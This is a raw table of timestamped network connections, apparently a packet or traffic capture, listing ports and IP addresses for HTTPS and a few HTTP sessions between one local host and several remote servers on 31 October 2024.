Oct 31, 2024 03:04:11.765269995 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.804600954 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.821089029 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.821279049 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.821340084 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.821348906 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.823618889 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.823681116 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.823687077 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.834597111 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.834664106 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.834671974 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.835064888 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.835120916 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.835294962 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.835306883 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:13.869183064 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:13.869225979 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:13.869304895 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:13.869530916 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:13.869544983 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.332499981 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:14.332540035 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:14.332607985 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:14.332770109 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:14.332782984 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:14.351191998 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:14.351202011 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:14.351300001 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:14.353075981 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:14.353087902 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:14.799077034 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.799336910 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:14.799364090 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.800353050 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.800414085 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:14.800770044 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:14.800831079 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.851773024 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:14.851780891 CET	443	49719	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:14.898649931 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:15.022206068 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:15.022247076 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:15.022336960 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:15.024286032 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:15.024300098 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:15.190433979 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.192800045 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.192821980 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.194191933 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.194250107 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.199373960 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.199520111 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.199805975 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.199815035 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.231147051 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.231225967 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.236135006 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.236140013 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.236756086 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.242341995 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.289172888 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.343045950 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.362896919 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:15.362957954 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:15.366635084 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:15.366878986 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:15.366909981 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:15.387335062 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.442491055 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.442538023 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.442567110 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.442622900 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.442642927 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.442857981 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.442883968 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.442890882 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.443321943 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.443326950 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.450757027 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.450871944 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.450879097 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.492197037 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.492204905 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.539155006 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.558834076 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.558887959 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.559053898 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.559065104 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.561866045 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.561973095 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.561980963 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.567498922 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.567596912 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.567604065 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.574860096 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.575062990 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.575069904 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.593070030 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.593272924 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.593324900 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.593358994 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.593365908 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.593381882 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.593417883 CET	49724	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.593422890 CET	443	49724	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.617218018 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.618494987 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.637717962 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.637751102 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.637950897 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.638183117 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:15.638199091 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:15.656897068 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:15.656922102 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:15.656995058 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:15.657495022 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:15.657509089 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:15.664089918 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.675321102 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.675657034 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.675745964 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.675755024 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.682826042 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.683063030 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.683069944 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.684952021 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.686608076 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.686619043 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.691468954 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.691967010 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.691973925 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.734868050 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.736531973 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.736538887 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.789069891 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.791874886 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.791994095 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.792020082 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.792121887 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.792130947 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.792188883 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.795079947 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.799110889 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.801593065 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.801600933 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.808023930 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.808159113 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.808165073 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.851593018 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.851623058 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.851624012 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.851634979 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.851741076 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.908643961 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.914513111 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.914863110 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.914918900 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.914927959 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.918610096 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.924731016 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.924791098 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.924818039 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.924930096 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.924941063 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.925072908 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.937506914 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.970371962 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.970402956 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.970478058 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:15.970488071 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:15.970580101 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.025161028 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.031182051 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.031209946 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.031281948 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.031291962 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.035290956 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.041070938 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.041117907 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.041301012 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.041307926 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.041316986 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.041462898 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.041470051 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.084759951 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.084939957 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.084964991 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.085047007 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.085047007 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.085057974 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.131573915 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:16.131663084 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:16.132787943 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.134849072 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:16.134860039 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:16.135066986 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:16.147640944 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.157567024 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.157644033 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.157651901 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.157691956 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.157727957 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.157994986 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.158035994 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.158065081 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.158080101 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.159290075 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.179750919 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:16.201303959 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.201478004 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.201505899 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.201554060 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.201778889 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.201797962 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.222067118 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.222322941 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.222362041 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.222735882 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.222845078 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.223473072 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.223848104 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.228291035 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.228291035 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.228334904 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.228383064 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.228410006 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.242155075 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.242162943 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.264286995 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.264544964 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.264554024 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.272943020 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.272964001 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.274225950 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.274251938 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.274283886 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.274290085 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.274300098 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.274390936 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.274698973 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.274871111 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.275641918 CET	49723	443	192.168.2.5	142.250.184.238
Oct 31, 2024 03:04:16.275660992 CET	443	49723	142.250.184.238	192.168.2.5
Oct 31, 2024 03:04:16.320770025 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.426217079 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.426304102 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.432604074 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.432612896 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.432859898 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.446047068 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.489276886 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.489348888 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.491334915 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.491355896 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.491365910 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.491611958 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.494972944 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.538443089 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.539323092 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.586393118 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.586416960 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.633274078 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.639599085 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.639673948 CET	443	49728	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:16.639728069 CET	49728	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:16.704397917 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.704418898 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.704433918 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.704499960 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.704524040 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.704665899 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.757091999 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.757292986 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.757345915 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.827717066 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.827739954 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.827841997 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.827858925 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.827914953 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.870109081 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.870126963 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.870137930 CET	49731	443	192.168.2.5	2.19.104.72
Oct 31, 2024 03:04:16.870143890 CET	443	49731	2.19.104.72	192.168.2.5
Oct 31, 2024 03:04:16.950746059 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.950771093 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.950844049 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.950855970 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:16.950896978 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:16.950896978 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.074264050 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.074280977 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.074345112 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.074358940 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.074390888 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.074390888 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.096884966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:17.101738930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:17.105403900 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.107213020 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:17.112006903 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:17.112133026 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:17.112843037 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:17.112864017 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:17.117628098 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:17.117646933 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:17.151326895 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.197170019 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.197191954 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.197283030 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.197283030 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.197294950 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.197336912 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.456458092 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.456480026 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.456520081 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.456535101 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.456547976 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.456574917 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.458014965 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.458029985 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.458061934 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.458090067 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.458096981 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.458138943 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.479052067 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479073048 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479085922 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479098082 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479129076 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.479135036 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479161978 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.479172945 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.479172945 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.479204893 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.480103016 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.480164051 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.480173111 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.523276091 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.566139936 CET	443	49732	13.107.246.45	192.168.2.5
